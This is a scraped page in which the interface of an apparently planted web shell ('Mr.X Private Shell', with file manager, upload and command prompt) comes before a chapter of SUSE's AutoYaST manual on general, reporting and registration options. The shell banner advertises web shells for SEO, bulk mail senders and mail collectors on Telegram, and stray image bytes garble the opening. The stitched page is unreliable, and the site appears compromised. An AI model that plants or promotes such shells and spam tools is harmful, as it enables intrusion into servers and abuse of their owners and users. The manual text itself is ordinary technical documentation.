xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="" xml:lang=""><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Configuration and Installation Options | AutoYaST | SUSE Linux Enterprise Server 12 SP1</title><meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" /><link rel="stylesheet" type="text/css" href="static/css/style.css" /><meta name="generator" content="DocBook XSL Stylesheets V1.78.1" /><meta name="product-name" content="SUSE Linux Enterprise Server" /><meta name="product-number" content="12 SP1" /><meta name="book-title" content="AutoYaST" /><meta name="chapter-title" content="Chapter 4. Configuration and Installation Options" />
<!-- Tracker --><meta name="tracker-url" content="https://bugzilla.suse.com/enter_bug.cgi" /><meta name="tracker-type" content="bsc" /><meta name="tracker-bsc-assignee" content="fs@suse.com" /><meta name="tracker-bsc-component" content="Documentation" /><meta name="tracker-bsc-product" content="SUSE Linux Enterprise Server 12 SP1" /><!-- /Tracker --><link rel="home" href="index.html" title="SUSE Linux Enterprise Server Documentation" /><link rel="up" href="book.autoyast.html" title="AutoYaST" /><link rel="prev" href="CreateProfile.html" title="Chapter 3. Creating A Control File" /><link rel="next" href="rulesandclass.html" title="Chapter 5. Rules and Classes" /><script type="text/javascript">

var protocol = window.location.protocol.toLowerCase();
if ( protocol != 'file:' ) {
  var agent = navigator.userAgent.toLowerCase();
  var wanted = ( protocol == 'https:') ? 'https' : 'http';
  var file = 'fonts.css';
  if (agent.indexOf('android') != -1 && agent.indexOf('chrom') != -1 ) {
      file = 'fonts-nolocal.css';
  }
  document.write('<link rel="stylesheet" type="text/css" href="' + wanted + '://static.opensuse.org/fonts/'+ file +'"></link>');
}
else {
   document.write('<link rel="stylesheet" type="text/css" href="static/css/fonts-onlylocal.css"></link>');
}

</script><noscript><link rel="stylesheet" type="text/css" href="http://static.opensuse.org/fonts/fonts.css" /></noscript><script src="static/js/jquery-1.10.2.min.js" type="text/javascript"></script><script src="static/js/script.js" type="text/javascript"></script></head><body class="offline js-off"><div id="_outer-wrap"><div id="_white-bg"><div id="_header"><div id="_logo"><img src="static/images/logo.png" alt="Logo" /></div><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="configuration.html">Configuration and Installation Options</a></div><div class="clearme"></div></div></div><div id="_toolbar-wrap"><div id="_toolbar"><div id="_toc-area" class="inactive"><a id="_toc-area-button" class="tool" title="Contents" accesskey="c" href="index.html"><span class="tool-spacer"><span class="toc-icon">Contents</span><span class="clearme"></span></span><span class="tool-label">Contents</span></a><div class="active-contents bubble-corner"></div><div class="active-contents bubble"><div class="bubble-container"><h6>AutoYaST</h6><div id="_bubble-toc"><ol><li class="inactive"><a href="introduction.html"><span class="number">1 </span><span class="name">Introduction</span></a></li><li class="inactive"><a href="Profile.html"><span class="number">2 </span><span class="name">The Control File</span></a></li><li class="inactive"><a href="CreateProfile.html"><span class="number">3 </span><span class="name">Creating A Control File</span></a></li><li class="inactive"><a href="configuration.html"><span class="number">4 </span><span class="name">Configuration and Installation Options</span></a></li><li class="inactive"><a href="rulesandclass.html"><span class="number">5 </span><span class="name">Rules and Classes</span></a></li><li class="inactive"><a href="Invoking.html"><span class="number">6 </span><span class="name">The Auto-Installation Process</span></a></li><li class="inactive"><a href="handlingrules.html"><span class="number">A </span><span class="name">Handling Rules</span></a></li><li class="inactive"><a href="appendix.linuxrc.html"><span class="number">B </span><span class="name">Advanced Linuxrc Options</span></a></li><li class="inactive"><a href="app.ay.docupdates.html"><span class="number">C </span><span class="name">Documentation Updates</span></a></li><li class="inactive"><a href="bk04apd.html"><span class="number">D </span><span class="name">GNU Licenses</span></a></li></ol></div><div class="clearme"></div></div></div></div><div id="_nav-area" class="inactive"><div class="tool"><span class="nav-inner"><span class="tool-label">Navigation</span><a accesskey="p" class="tool-spacer" title="Chapter 3. Creating A Control File" href="CreateProfile.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Chapter 5. Rules and Classes" href="rulesandclass.html"><span class="next-icon">→</span></a></span></div></div></div></div><div id="_fixed-header-wrap" class="inactive"><div id="_fixed-header"><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="configuration.html">Configuration and Installation Options</a></div><div class="buttons"><a class="top-button button" href="#">Top</a><div class="button"><a accesskey="p" class="tool-spacer" title="Chapter 3. Creating A Control File" href="CreateProfile.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Chapter 5. Rules and Classes" href="rulesandclass.html"><span class="next-icon">→</span></a></div><div class="clearme"></div></div><div class="clearme"></div></div></div><div id="_content" class=""><div class="documentation"><div class="chapter " id="configuration"><div class="titlepage"><div><div class="version-info">Applies to  <span class="productname"><span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span></span> <span class="productnumber"><span class="productnumber"><span class="phrase">12 SP1</span></span></span></div><div><h1 class="title"><span class="number">4 </span><span class="name">Configuration and Installation Options</span> </h1></div></div></div><div class="line"><div class="toc"><dl><dt><span class="sect1"><a href="configuration.html#CreateProfile.General"><span class="number">4.1 </span><span class="name">General Options</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Reporting"><span class="number">4.2 </span><span class="name">Reporting</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Register"><span class="number">4.3 </span><span class="name">System Registration and Extension Selection</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Bootloader"><span class="number">4.4 </span><span class="name">The Boot Loader</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Partitioning"><span class="number">4.5 </span><span class="name">Partitioning</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Software"><span class="number">4.6 </span><span class="name">Software</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Services"><span class="number">4.7 </span><span class="name">Services and Targets</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Network"><span class="number">4.8 </span><span class="name">Network Configuration</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#Configuration.Network.NIS"><span class="number">4.9 </span><span class="name">NIS</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#Configuration.Network.Auth"><span class="number">4.10 </span><span class="name">Authentication Client</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#ay.nfs"><span class="number">4.11 </span><span class="name">NFS Client and Server</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#Configuration.Network.Ntp"><span class="number">4.12 </span><span class="name">NTP Client</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#Configuration.Network.Sendmail"><span class="number">4.13 </span><span class="name">Mail Configuration</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Security"><span class="number">4.14 </span><span class="name">Security Settings</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#Configuration.Security.users"><span class="number">4.15 </span><span class="name">Users</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#createprofile.scripts"><span class="number">4.16 </span><span class="name">Custom User Scripts</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#createprofile.sysconfig"><span class="number">4.17 </span><span class="name">System Variables (Sysconfig)</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#createprofile.completeconf"><span class="number">4.18 </span><span class="name">Adding Complete Configurations</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Ask"><span class="number">4.19 </span><span class="name">Ask the User for Values during Installation</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.kdump"><span class="number">4.20 </span><span class="name">Kernel Dumps</span></a></span></dt><dt><span class="sect1"><a href="configuration.html#CreateProfile.Hardware"><span class="number">4.21 </span><span class="name">Miscellaneous Hardware and System Components</span></a></span></dt></dl></div></div><p>
   This chapter introduces important parts of a control file for standard
   purposes. To learn about other available options, use the configuration
   management system.
  </p><p>
   Note that for some configuration options to work, additional packages
   need to be installed, depending on the software selection you have
   configured. If you choose to install a minimal system then some packages
   might be missing and need to be added to the individual package
   selection.
  </p><p>
   YaST will install packages required in the second phase of the
   installation and before the post-installation phase of AutoYaST has
   started. However, if necessary YaST modules are not available in the
   system, important configuration steps will be skipped. For example, no
   security settings will be configured if
   <code class="systemitem">yast2-security</code> is not
   installed.
  </p><div class="sect1 " id="CreateProfile.General"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.General"><span class="number">4.1 </span><span class="name">General Options</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.General">#</a></h2></div></div></div><p>
    General options include all the settings related to the installation
    process and the environment of the installed system.
   </p><p>
    The mode section configures the behavior of AutoYaST with regard to
    confirmation and rebooting. The following needs to be in the
    &lt;general&gt;&lt;mode&gt; section.
   </p><p>
    By default, the user must confirm the auto-installation process. This
    option allows the user to view and change the settings for a target
    system before they are committed and can be used for debugging.
    <code class="literal">confirm</code> is set to <code class="literal">true</code> by default
    to avoid recursive installs when the system schedules a reboot after
    initial system setup. Only disable confirmation if you want to carry out
    a fully unattended installation.
   </p><p>
    With <code class="literal">halt</code> you cause AutoYaST to shut down the machine
    after all packages have been installed. Instead of a reboot into stage
    two, the machine is turned off. The boot loader is already installed and
    all your chroot scripts have run.
   </p><p>
    <code class="literal">final_halt</code> and <code class="literal">final_reboot</code> halts
    or reboots the machine after the installation and the configuration are
    finished at the end of stage 2.
   </p><p>
    <code class="literal">final_restart_services</code>: After installation and
    configuration are finished at the end of stage 2 all services will be
    restarted by default. With this flag set to <code class="literal">false</code> no
    restart will be done.
   </p><p>
    <code class="literal">activate_systemd_default_target</code>: After installation and
    configuration are finished at the end of stage 2 the default target system
    will be activated.
   </p><p>
    <code class="literal">ntp_sync_time_before_installation</code> specifies the NTP
    server with which the system time has to be synchronized before starting
    the installation on the target system. It will be not synchronized if this
    flag has not been used. Please keep in mind that you need a reachable NTP
    server and network connections while running the installation.
   </p><p>
    <code class="literal">max_systemd_wait</code> specifies how long AutoYaST waits at
    most for systemd to set up the default target. Normally you do not need
    to bother with this entry. If it is not preset a reasonable default (30
    seconds) is used.
   </p><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
        <p>
         Attribute
        </p>
       </th><th>
        <p>
         Values
        </p>
       </th><th>
        <p>
         Description
        </p>
       </th></tr></thead><tbody><tr><td>
        <p>
         <code class="literal">confirm</code>
        </p>
       </td><td>
        <p>
         If this boolean is set to <code class="literal">true</code>, the installation
         stops at the confirmation screen (also called proposal screen) and
         needs to be confirmed with the <span class="guimenu">Install</span> button.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;confirm config:type="boolean"&gt;true&lt;/confirm&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is true.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">halt</code>
        </p>
       </td><td>
        <p>
         Shuts down the machine after the first stage. So if you turn it on
         again, the machine boots and the second stage of the
         autoinstallation starts.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;halt config:type="boolean"&gt;true&lt;/halt&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is false.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">second_stage</code>
        </p>
       </td><td>
        <p>
         This boolean determines if AutoYaST will run in the second stage too
         (after the partitioning, software and boot loader installation of
         the first stage). If you set this to <code class="literal">false</code>, a
         normal manual installation happens in the second stage.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;second_stage config:type="boolean"&gt;true&lt;/second_stage&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is true.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">final_reboot</code>
        </p>
       </td><td>
        <p>
         If you set this to <code class="literal">true</code>, the machine will reboot
         at the very end of the installation (when everything is installed
         and configured at the end of the second stage).
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;final_reboot config:type="boolean"&gt;true&lt;/final_reboot&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is <code class="literal">false</code>. It makes no
         sense to set this and <code class="literal">final_halt</code> to
         <code class="literal">true</code>.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">final_halt</code>
        </p>
       </td><td>
        <p>
         If you set this to <code class="literal">true</code>, the machine will shut
         down at the very end of the installation (when everything is
         installed and configured at the end of the second stage).
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;final_halt config:type="boolean"&gt;true&lt;/final_halt&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default is <code class="literal">false</code>. It makes no
         sense to set this and <code class="literal">final_reboot</code> to
         <code class="literal">true</code>.
        </p>
       </td></tr><tr><td>
        <p>
	 <code class="literal">final_restart_services</code>
	</p>
       </td><td>
	<p>
	 If you set this entry to <code class="literal">false</code>, all services will
	 <span class="emphasis"><em>not</em></span> be restarted at the very end of the
	 installation (when everything is installed and configured at the end
	 of the second stage).
	</p>
	<div class="verbatim-wrap"><pre class="screen">&lt;final_restart_services config:type="boolean"&gt;false&lt;/final_restart_services&gt;</pre></div>
       </td><td>
	<p>
	 Optional. The default is <code class="literal">true</code>.
	</p>
       </td></tr><tr><td>
	<p>
	 <code class="literal">activate_systemd_default_target</code>
	</p>
       </td><td>
	<p>
	 If you set this entry to <code class="literal">false</code>, the default target
	 will not be activated via the call <code class="command">systemctl
	 isolate</code>.
	</p>
        <div class="verbatim-wrap"><pre class="screen">&lt;activate_systemd_default_target config:type="boolean"&gt;false&lt;/activate_systemd_default_target&gt;</pre></div>
       </td><td>
	<p>
	 Optional. The default is <code class="literal">true</code>.
	</p>
       </td></tr></tbody></table></div><p>
    AutoYaST allows you to configure the proposal screen with the
    &lt;proposals config:type="list"&gt; option in the control file.
    All proposals that are listed in that section are shown in the proposal
    screen if you set the <code class="literal">confirm</code> option to
    <code class="literal">true</code>. Proposals are also used during the regular
    installation and can be found in the file
    <code class="filename">control.xml</code> in the root directory of the
    installation media.
   </p><div class="example" id="idm140013829609472"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.1: </span><span class="name">General Options </span><a title="Permalink" class="permalink" href="configuration.html#idm140013829609472">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;signature-handling&gt;
    &lt;accept_unsigned_file config:type="boolean"&gt;true&lt;/accept_unsigned_file&gt;
    &lt;accept_file_without_checksum config:type="boolean"&gt;true&lt;/accept_file_without_checksum&gt;
    &lt;accept_verification_failed config:type="boolean"&gt;true&lt;/accept_verification_failed&gt;
    &lt;accept_unknown_gpg_key config:type="boolean"&gt;true&lt;/accept_unknown_gpg_key&gt;
    &lt;import_gpg_key config:type="boolean"&gt;true&lt;/import_gpg_key&gt;
    &lt;accept_non_trusted_gpg_key config:type="boolean"&gt;true&lt;/accept_non_trusted_gpg_key&gt;
    &lt;/signature-handling&gt;
    &lt;cio_ignore config:type="boolean"&gt;false&lt;/cio_ignore&gt;       &lt;! -- IBM System z only --&gt;
  &lt;mode&gt;
    &lt;halt config:type="boolean"&gt;false&lt;/halt&gt;
    &lt;forceboot config:type="boolean"&gt;false&lt;/forceboot&gt;
    &lt;final_reboot config:type="boolean"&gt;false&lt;/final_reboot&gt;
    &lt;final_halt config:type="boolean"&gt;false&lt;/final_halt&gt;
    &lt;confirm config:type="boolean"&gt;true&lt;/confirm&gt;
    &lt;second_stage config:type="boolean"&gt;true&lt;/second_stage&gt;
  &lt;/mode&gt;
  &lt;proposals config:type="list"&gt;
    &lt;proposal&gt;partitions_proposal&lt;/proposal&gt;
  &lt;/proposals&gt;
  &lt;wait&gt;
    &lt;pre-modules config:type="list"&gt;
      &lt;module&gt;
        &lt;name&gt;networking&lt;/name&gt;
        &lt;sleep&gt;
          &lt;time config:type="integer"&gt;10&lt;/time&gt;
          &lt;feedback config:type="boolean"&gt;true&lt;/feedback&gt;
        &lt;/sleep&gt;
        &lt;script&gt;
          &lt;source&gt;sleep 5&lt;/source&gt;
          &lt;debug config:type="boolean"&gt;false&lt;/debug&gt;
        &lt;/script&gt;
      &lt;/module&gt;
    &lt;/pre-modules&gt;
    &lt;post-modules config:type="list"&gt;
      &lt;module&gt;
        &lt;name&gt;networking&lt;/name&gt;
        &lt;sleep&gt;
          &lt;time config:type="integer"&gt;3&lt;/time&gt;
          &lt;feedback config:type="boolean"&gt;true&lt;/feedback&gt;
        &lt;/sleep&gt;
        &lt;script&gt;
          &lt;source&gt;sleep 7&lt;/source&gt;
          &lt;debug config:type="boolean"&gt;false&lt;/debug&gt;
        &lt;/script&gt;
      &lt;/module&gt;
    &lt;/post-modules&gt;
  &lt;/wait&gt;
  &lt;storage&gt;
    &lt;!--
       partition_alignment:
         align_optimal  - That's the default. Partitions are aligned like the
                          kernel suggests. This can lead to problem with some
                          machines/bioses that are unable to boot with that
                          alignment
         align_cylinder -  Partitions always start on a cylinder boundary
    --&gt;
     &lt;partition_alignment config:type="symbol"&gt;align_cylinder&lt;/partition_alignment&gt;
  &lt;/storage&gt;
&lt;/general&gt;</pre></div></div></div><p>
    You can let AutoYaST <code class="command">sleep</code> before and after each
    module run during the second stage. You can run scripts and/or pass a
    value (in seconds) for AutoYaST to sleep. In the example above AutoYaST
    will sleep for 15 seconds (10+5) before the network configuration starts
    and 10 seconds (3+7) after the network configuration is done. The
    scripts in the example do not really make a lot of sense because you
    could pass that value as <span class="quote">“<span class="quote">time</span>”</span> value too. They are only
    used to show how scripts in the wait section work now.
   </p><p>
    With the flag <code class="literal">cio_ignore</code> devices can be blacklisted.
    This option is available on IBM System z <span class="emphasis"><em>only</em></span>.
   </p><div id="idm140013838153184" class="admonition tip"><img class="symbol" alt="Tip" title="Tip" src="static/images/icon-tip.png" /><h6>Tip: Enabling Multipath for the Installation</h6><p>
     When installing on a network storage that is accessed via multiple
     paths, you need to enable multipath for the installation with the
     <code class="literal">start_multipath</code> parameter that needs to be placed
     within the following XML structure:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;storage&gt;
    &lt;start_multipath config:type="boolean"&gt;true&lt;/start_multipath&gt;
  &lt;/storage&gt;
&lt;/general&gt;</pre></div><p>
     Alternatively, you can pass the following parameter to linuxrc:
     <code class="literal">LIBSTORAGE_MULTIPATH_AUTOSTART=ON</code>
    </p></div></div><div class="sect1 " id="CreateProfile.Reporting"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Reporting"><span class="number">4.2 </span><span class="name">Reporting</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Reporting">#</a></h2></div></div></div><p>
    The <code class="literal">report</code> resource manages three types of pop-ups
    that may appear during installation:
   </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
      message pop-ups (usually non-critical, informative messages),
     </p></li><li class="listitem "><p>
      warning pop-ups (if something might go wrong),
     </p></li><li class="listitem "><p>
      error pop-ups (in case an error occurs).
     </p></li></ul></div><div class="example" id="idm140013838144016"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.2: </span><span class="name">Reporting Behavior </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838144016">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;report&gt;    
  &lt;messages&gt;
    &lt;show config:type="boolean"&gt;true&lt;/show&gt;
    &lt;timeout config:type="integer"&gt;10&lt;/timeout&gt;
    &lt;log config:type="boolean"&gt;true&lt;/log&gt;
  &lt;/messages&gt;
  &lt;errors&gt;
    &lt;show config:type="boolean"&gt;true&lt;/show&gt;
    &lt;timeout config:type="integer"&gt;10&lt;/timeout&gt;
    &lt;log config:type="boolean"&gt;true&lt;/log&gt;
  &lt;/errors&gt;
  &lt;warnings&gt;
    &lt;show config:type="boolean"&gt;true&lt;/show&gt;
    &lt;timeout config:type="integer"&gt;10&lt;/timeout&gt;
    &lt;log config:type="boolean"&gt;true&lt;/log&gt;
  &lt;/warnings&gt;
&lt;/report&gt;</pre></div></div></div><p>
    Depending on your experience, you can skip, log and show (with timeout)
    those messages. It is recommended to show all
    <code class="literal">messages</code> with timeout. Warnings can be skipped in
    some places but should not be ignored.
   </p><p>
    The default setting in auto-installation mode is to show all messages
    without logging and without timeout.
   </p><div id="idm140013838140560" class="admonition warning"><img class="symbol" alt="Warning" title="Warning" src="static/images/icon-warning.png" /><h6>Warning: Critical System Messages</h6><p>
     Note that not all messages during installation are controlled by the
     <code class="literal">report</code> resource. Some critical messages concerning
     package installation and partitioning will show up ignoring your
     settings in the <code class="literal">report</code> section. Usually those
     messages will need to be answered with <span class="guimenu">Yes</span> or
     <span class="guimenu">No</span>.
    </p></div></div><div class="sect1 " id="CreateProfile.Register"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.Register"><span class="number">4.3 </span><span class="name">System Registration and Extension Selection</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Register">#</a></h2></div></div></div><p>
    Registering the system with the can be configured within the
    <code class="literal">suse_register</code> resource. The following example
    registers the system with the SUSE Customer Center. In case your organization
    provides its own registration server, you need to specify the required
    data with the <code class="literal">reg_server*</code> properties. Refer to the
    table below for details.
   </p><div class="verbatim-wrap"><pre class="screen">&lt;suse_register&gt;
  &lt;do_registration config:type="boolean"&gt;true&lt;/do_registration&gt;
  &lt;email&gt;tux@example.com&lt;/email&gt;
  &lt;reg_code&gt;<em class="replaceable ">MY_SECRET_REGCODE</em>&lt;/reg_code&gt;
  &lt;install_updates config:type="boolean"&gt;true&lt;/install_updates&gt;
  &lt;slp_discovery config:type="boolean"&gt;false&lt;/slp_discovery&gt;
&lt;/suse_register&gt;
 </pre></div><p>
    As an alternative to the fully automated registration, AutoYaST can also
    be configured to start the YaST registration module during the
    installation. this offers the possibility to enter the registration data
    manually. The following XML code is required:
   </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
 &lt;semi-automatic config:type="list"&gt;
   &lt;semi-automatic_entry&gt;scc&lt;/semi-automatic_entry&gt;
 &lt;/semi-automatic&gt;
&lt;/general&gt;</pre></div><div id="idm140013838131936" class="admonition tip"><img class="symbol" alt="Tip" title="Tip" src="static/images/icon-tip.png" /><h6>Tip: Using the Installation Network Settings</h6><p>
     In case you need to use the same network settings that were used for
     the installation, AutoYaST needs to run the network setup in stage 1
     right before the registration is started:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;networking&gt;
  &lt;setup_before_proposal config:type="boolean"&gt;true&lt;/setup_before_proposal
&lt;/networking&gt;</pre></div></div><div class="table" id="idm140013831579152"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.1: </span><span class="name">System Registration: XML Representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013831579152">#</a></h6></div><div class="table-contents"><table summary="System Registration: XML Representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
        <p>
         Element
        </p>
       </th><th>
        <p>
         Description
        </p>
       </th><th>
        <p>
         Comment
        </p>
       </th></tr></thead><tbody><tr><td>
        <p>
         <code class="literal">do_registration</code>
        </p>
       </td><td>
        <p>
         Specify whether the system should be registered or not. Can be set
         to <code class="literal">true</code> or <code class="literal">false</code>.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;do_registration config:type="boolean"
&gt;true&lt;/do_registration&gt;</pre></div>
       </td><td>
        <p>
         If set to <code class="literal">false</code> all other options are ignored
         and the system is not registered.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">e-mail</code>
        </p>
       </td><td>
        <p>
         The e-mail address matching the registration code.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;email&gt;tux@example.com&lt;/email&gt;</pre></div>
       </td><td>
        <p>
         Required value.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">reg_code</code>
        </p>
       </td><td>
        <p>
         The registration code.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;reg_code&gt;<em class="replaceable ">SECRET_REGCODE</em>&lt;/reg_code&gt;</pre></div>
       </td><td>
        <p>
         Required value.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">install_updates</code>
        </p>
       </td><td>
        <p>
         Defines if the update repositories provided by the registration
         server are used during the installation (<code class="literal">true</code>)
         or not (<code class="literal">false</code>).
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;install_updates config:type="boolean"
&gt;true&lt;/install_updates&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default value is <code class="literal">false</code>.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">slp_discovery</code>
        </p>
       </td><td>
        <p>
         Search for the registration server via SLP.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;slp_discovery config:type="boolean"
&gt;true&lt;/slp_discovery&gt;</pre></div>
       </td><td>
        <p>
         Optional. The default value is <code class="literal">false</code>.
        </p>
        <p>
         Expects to find a single server. If more than one server is found,
         the installation will fail. In case there is more than one
         registration server available, you need to specify one with
         <code class="literal">reg_server</code>.
        </p>
        <p>
         Optional, If neither <code class="literal">slp_discovery</code> or
         <code class="literal">reg_server</code> are set, the system is registered
         with the SUSE Customer Center.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">reg_server</code>
        </p>
       </td><td>
        <p>
         URl to the SMT server
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;reg_server&gt;
  https://smt.example.com
&lt;/reg_server&gt;</pre></div>
       </td><td>
        <p>
         Optional, If neither <code class="literal">slp_discovery</code> or
         <code class="literal">reg_server</code> are set, the system is registered
         with the SUSE Customer Center.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">reg_server_cert_fingerprint_type</code>
        </p>
       </td><td>
        <p>
         Fingerprint type. Can either be <code class="literal">SHA1</code> or
         <code class="literal">SHA256</code>.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;reg_server_cert_fingerprint_type&gt;
  SHA1
&lt;/reg_server_cert_fingerprint_type&gt;</pre></div>
       </td><td>
        <p>
         Requires a checksum value provided with
         <code class="literal">reg_server_cert_fingerprint</code>. Using the
         fingerprint is recommended, since it ensures the SSL certificate is
         verified. The matching certificate will be automatically imported
         when the SSL communication fails because of a verification error.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">reg_server_cert_fingerprint</code>
        </p>
       </td><td>
        <p>
         Fingerprint value in hexadecimal notion (case-insensitive).
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;reg_server_cert_fingerprint&gt;
  <em class="replaceable ">01:AB...:EF</em>
&lt;/reg_server_cert_fingerprint&gt;</pre></div>
       </td><td>
        <p>
         Requires a fingerprint type value provided with
         <code class="literal">reg_server_cert_fingerprint_type</code>. Using the
         fingerprint is recommended, since it ensures the SSL certificate is
         verified. The matching certificate will be automatically imported
         when the SSL communication fails because of a verification error.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">reg_server_cert</code>
        </p>
       </td><td>
        <p>
         Path to the SSL certificate on the server.
        </p>
<div class="verbatim-wrap"><pre class="screen">&lt;reg_server_cert&gt;
  http://smt.example.com/smt.crt
&lt;/reg_server_cert&gt;</pre></div>
       </td><td>
        <p>
         Using this option is not recommended, since the certificate that is
         downloaded is not verified. Use
         <code class="literal">reg_server_cert_fingerprint</code> instead.
        </p>
       </td></tr><tr><td>
        <p>
         <code class="literal">addons</code>
        </p>
       </td><td>
        <p>
         Specify an extension from the registration server that should be
         added to the installation repositories. See
         <a class="xref" href="configuration.html#CreateProfile.Register.Extension" title="4.3.1. Extensions">Section 4.3.1, “Extensions”</a> for details.
        </p>
       </td><td>
        <p></p>
       </td></tr></tbody></table></div></div><div class="sect2 " id="CreateProfile.Register.Extension"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Register.Extension"><span class="number">4.3.1 </span><span class="name">Extensions</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Register.Extension">#</a></h3></div></div></div><p>
     The SUSE Customer Center provides several extensions, such as sle-sdk (Software
     Development Kit - SDK) that can be added as additional installation
     sources during the installation. Adding extensions can be configured
     via the <code class="literal">addons</code> property within the
     <code class="literal">suse_register</code> block. Below is a list of all
     extensions available for SUSE Linux Enterprise on x86_64:
    </p><div id="idm140013833742016" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: Availability of Extensions</h6><p>
      The availability of extensions is product and architecture dependent.
      All listed extensions are available for SUSE Linux Enterprise Server on the x86_64
      architecture. Not all extensions are available on other architectures.
